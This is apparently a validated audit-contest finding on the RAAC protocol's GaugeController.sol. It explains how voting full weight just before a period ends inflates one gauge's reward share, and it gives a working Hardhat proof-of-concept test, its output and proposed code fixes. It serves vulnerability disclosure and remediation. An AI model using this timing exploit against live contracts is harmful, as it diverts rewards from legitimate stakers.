Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Skewed Reward Distribution in GaugeController.sol

Summary

A vulnerability in GaugeController.sol an attacker can skew gauge reward distribution by voting with a maximum weight (100%) just before a period ends and retracting the vote after the new period begins. This causes distributeRewards to use of a temporarily inflated g.weight instead of a time-weighted average (TimeWeightedAverage.calculateAverage), resulting in a single gauge receiving a disproportionately large share of rewards (e.g., 500,000 ether from a 1M ether emission for RWA gauges) compared to other gauges (e.g., 89,275 ether from a 250K ether emission for RAAC gauges). This flaw leads to unfair reward allocation, reducing rewards for legitimate users in the RAAC ecosystem.

Vulnerability Details

The vulnerability arises from a lack of synchronization between the voting mechanism and reward distribution:

  • Vote function (https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/GaugeController.sol#L190): Instantly updates g.weight based on votingPower from veRAACToken:

    function vote(address gauge, uint256 weight) external override whenNotPaused {
    if (!isGauge(gauge)) revert GaugeNotFound();
    if (weight > WEIGHT_PRECISION) revert InvalidWeight();
    uint256 votingPower = veRAACToken.balanceOf(msg.sender);
    if (votingPower == 0) revert NoVotingPower();
    uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
    userGaugeVotes[msg.sender][gauge] = weight;
    _updateGaugeWeight(gauge, oldWeight, weight, votingPower);
    emit WeightUpdated(gauge, oldWeight, weight);
    }
  • distributeRewards function (https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/GaugeController.sol#L323): Calculates rewards using the current g.weight without enforcing a time-weighted average:

  • _calculateReward function (https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/GaugeController.sol#L360)

    function distributeRewards(address gauge) external override nonReentrant whenNotPaused {
    if (!isGauge(gauge)) revert GaugeNotFound();
    if (!gauges[gauge].isActive) revert GaugeNotActive();
    uint256 reward = _calculateReward(gauge);
    if (reward == 0) return;
    IGauge(gauge).notifyRewardAmount(reward);
    emit RewardDistributed(gauge, msg.sender, reward);
    }
    function _calculateReward(address gauge) internal view returns (uint256) {
    Gauge storage g = gauges[gauge];
    uint256 totalWeight = getTotalWeight();
    if (totalWeight == 0) return 0;
    uint256 gaugeShare = (g.weight * WEIGHT_PRECISION) / totalWeight;
    uint256 typeShare = (typeWeights[g.gaugeType] * WEIGHT_PRECISION) / MAX_TYPE_WEIGHT;
    uint256 periodEmission = g.gaugeType == GaugeType.RWA ? _calculateRWAEmission() : _calculateRAACEmission();
    return (periodEmission * gaugeShare * typeShare) / (WEIGHT_PRECISION * WEIGHT_PRECISION);
    }
  • Period Management: updatePeriod is not required before distributeRewards, allowing attackers to exploit the window between periods with an inflated g.weight.

    Exploit Conditions:

    • The attacker needs a modest amount of veRAACToken (e.g., 100 ether).

    • Precise timing to call vote just before the period ends (e.g., 1 hour prior), achievable with a bot.

    • Calling distributeRewards immediately after the new period starts to leverage the inflated g.weight.

    Observed Exploit:

    • Attacker votes 100% weight (10000 basis points) for rwaGauge with 100 ether of veRAACToken, skewing totalWeight to 1M ether.

    • distributeRewards yields ~500,000 ether for rwaGauge (50% of 1M ether RWA emission).

    • A legitimate user voting 50% weight (5000 basis points) with 500 ether for raacGauge later receives only ~89,275 ether from a 250K ether RAAC emission due to diluted influence.

    Proof of Code:

    Updated Test File (test/unit/core/governance/gauges/GaugeController.test.js):

    import { time } from "@nomicfoundation/hardhat-network-helpers";
    import { expect } from "chai";
    import hre from "hardhat";
    const { ethers } = hre;
    describe("GaugeController", () => {
    let gaugeController;
    let rwaGauge;
    let raacGauge;
    let veRAACToken;
    let rewardToken;
    let owner;
    let gaugeAdmin;
    let emergencyAdmin;
    let feeAdmin;
    let user1; // Attacker
    let user2; // Legitimate user
    let gaugeControllerAddress;
    const MONTH = 30 * 24 * 3600;
    const WEEK = 7 * 24 * 3600;
    const WEIGHT_PRECISION = 10000;
    beforeEach(async () => {
    [owner, gaugeAdmin, emergencyAdmin, feeAdmin, user1, user2] = await ethers.getSigners();
    const MockToken = await ethers.getContractFactory("MockToken");
    veRAACToken = await MockToken.deploy("veRAAC Token", "veRAAC", 18);
    await veRAACToken.waitForDeployment();
    const veRAACAddress = await veRAACToken.getAddress();
    rewardToken = await MockToken.deploy("Reward Token", "REWARD", 18);
    await rewardToken.waitForDeployment();
    const rewardTokenAddress = await rewardToken.getAddress();
    const GaugeController = await ethers.getContractFactory("GaugeController");
    gaugeController = await GaugeController.deploy(veRAACAddress);
    await gaugeController.waitForDeployment();
    gaugeControllerAddress = await gaugeController.getAddress();
    const RWAGauge = await ethers.getContractFactory("RWAGauge");
    rwaGauge = await RWAGauge.deploy(rewardTokenAddress, veRAACAddress, gaugeControllerAddress);
    await rwaGauge.waitForDeployment();
    const RAACGauge = await ethers.getContractFactory("RAACGauge");
    raacGauge = await RAACGauge.deploy(rewardTokenAddress, veRAACAddress, gaugeControllerAddress);
    await raacGauge.waitForDeployment();
    const GAUGE_ADMIN_ROLE = await gaugeController.GAUGE_ADMIN();
    const EMERGENCY_ADMIN_ROLE = await gaugeController.EMERGENCY_ADMIN();
    const FEE_ADMIN_ROLE = await gaugeController.FEE_ADMIN();
    await gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin.address);
    await gaugeController.grantRole(EMERGENCY_ADMIN_ROLE, emergencyAdmin.address);
    await gaugeController.grantRole(FEE_ADMIN_ROLE, feeAdmin.address);
    await gaugeController.connect(gaugeAdmin).addGauge(await rwaGauge.getAddress(), 0, 0); // RWA
    await gaugeController.connect(gaugeAdmin).addGauge(await raacGauge.getAddress(), 1, 0); // RAAC
    await rwaGauge.grantRole(await rwaGauge.CONTROLLER_ROLE(), gaugeControllerAddress);
    await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), gaugeControllerAddress);
    });
    describe("Integration Tests", () => {
    beforeEach(async () => {
    await veRAACToken.mint(user1.address, ethers.parseEther("1000"));
    await veRAACToken.mint(user2.address, ethers.parseEther("500"));
    });
    it.only("should allow attacker to skew reward distribution", async () => {
    await veRAACToken.mint(user1.address, ethers.parseEther("100")); // Attacker
    await veRAACToken.mint(user2.address, ethers.parseEther("500")); // Legitimate user
    const currentTime = BigInt(await time.latest());
    const periodStart = ((currentTime / BigInt(MONTH)) + 1n) * BigInt(MONTH);
    const exploitTime = Number(periodStart) + MONTH - 3600; // 1 hour before period end
    await time.setNextBlockTimestamp(exploitTime);
    await network.provider.send("evm_mine");
    await gaugeController.connect(user1).vote(await rwaGauge.getAddress(), 10000); // Attacker: 100% weight
    await time.increase(3600 + 1); // Past period end
    await network.provider.send("evm_mine");
    const rwaEmission = ethers.parseEther("1000000"); // Match _calculateRWAEmission()
    await rewardToken.mint(await rwaGauge.getAddress(), rwaEmission);
    await gaugeController.connect(user1).distributeRewards(await rwaGauge.getAddress());
    const rewardRwa = (await rwaGauge.periodState()).distributed;
    console.log("Reward for rwaGauge (attacker):", ethers.formatEther(rewardRwa));
    await gaugeController.connect(user2).vote(await raacGauge.getAddress(), 5000); // User2: 50% weight
    const raacEmission = ethers.parseEther("250000"); // Match _calculateRAACEmission()
    await rewardToken.mint(await raacGauge.getAddress(), raacEmission);
    await gaugeController.connect(user2).distributeRewards(await raacGauge.getAddress());
    const rewardRaac = (await raacGauge.periodState()).distributed;
    console.log("Reward for raacGauge (user2):", ethers.formatEther(rewardRaac));
    expect(rewardRwa).to.be.gt(ethers.parseEther("400000")); // ~50% of 1M
    expect(rewardRaac).to.be.lt(ethers.parseEther("100000")); // Less than 50% of 250K
    await gaugeController.connect(user1).vote(await rwaGauge.getAddress(), 0);
    const finalWeight = await gaugeController.getGaugeWeight(await rwaGauge.getAddress());
    expect(finalWeight).to.be.lt(ethers.parseEther("1"));
    });
    });
    });

GaugeController

Integration Tests

Reward for rwaGauge (attacker): 500000.0

Reward for raacGauge (user2): 89275.0

Impact

Unfair Reward Distribution: The attacker's gauge (rwaGauge) receives an outsized share (~500,000 ether), while legitimate gauges (raacGauge) receive significantly less (~89,275 ether), disrupting equitable allocation.

  • Financial Loss: Legitimate users staking veRAACToken lose substantial RWA and RAAC rewards (e.g., reduced from a potential 125K ether to 89K ether for RAAC gauges), impacting their profits.

  • Loss of Trust: Unreliable reward distribution undermines confidence in the system, reducing staking incentives.

  • Repeatability: The exploit can be repeated each period with low cost (minimal veRAACToken and gas), causing ongoing damage.

Tools Used

Manual Review.

Hardhat.

Recommendations

To mitigate this vulnerability, synchronize reward distribution with time-weighted averages and restrict voting near period boundaries:

  1. Synchronize with TimeWeightedAverage:

    function _calculateReward(address gauge) internal view returns (uint256) {
    Gauge storage g = gauges[gauge];
    uint256 totalWeight = getTotalWeight();
    if (totalWeight == 0) return 0;
    TimeWeightedAverage.Period storage period = gaugePeriods[gauge];
    uint256 gaugeWeight = TimeWeightedAverage.calculateAverage(period, block.timestamp);
    uint256 gaugeShare = (gaugeWeight * WEIGHT_PRECISION) / totalWeight;
    uint256 typeShare = (typeWeights[g.gaugeType] * WEIGHT_PRECISION) / MAX_TYPE_WEIGHT;
    uint256 periodEmission = g.gaugeType == GaugeType.RWA ? _calculateRWAEmission() : _calculateRAACEmission();
    return (periodEmission * gaugeShare * typeShare) / (WEIGHT_PRECISION * WEIGHT_PRECISION);
    }
  2. Require updatePeriod Before distributeRewards:

    function distributeRewards(address gauge) external override nonReentrant whenNotPaused {
    require(isGauge(gauge) && gauges[gauge].isActive, "Invalid gauge");
    Gauge storage g = gauges[gauge];
    require(block.timestamp > g.lastUpdateTime + (g.gaugeType == GaugeType.RWA ? 30 days : 7 days), "Period not complete");
    updatePeriod(gauge);
    uint256 reward = _calculateReward(gauge);
    require(reward > 0, "No rewards");
    IGauge(gauge).notifyRewardAmount(reward);
    emit RewardDistributed(gauge, msg.sender, reward);
    }
  3. Restrict Voting Near Period End

    function vote(address gauge, uint256 weight) external override whenNotPaused {
    require(isGauge(gauge), "Gauge not found");
    require(weight <= WEIGHT_PRECISION, "Invalid weight");
    uint256 votingPower = veRAACToken.balanceOf(msg.sender);
    require(votingPower > 0, "No voting power");
    Gauge storage g = gauges[gauge];
    uint256 periodDuration = g.gaugeType == GaugeType.RWA ? 30 days : 7 days;
    require(block.timestamp < g.lastUpdateTime + periodDuration - 1 hours, "Cannot vote near period end");
    uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
    userGaugeVotes[msg.sender][gauge] = weight;
    _updateGaugeWeight(gauge, oldWeight, weight, votingPower);
    emit WeightUpdated(gauge, oldWeight, weight);
    }
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController uses current gauge weights instead of time-weighted averages for reward calculations

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController uses current gauge weights instead of time-weighted averages for reward calculations

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!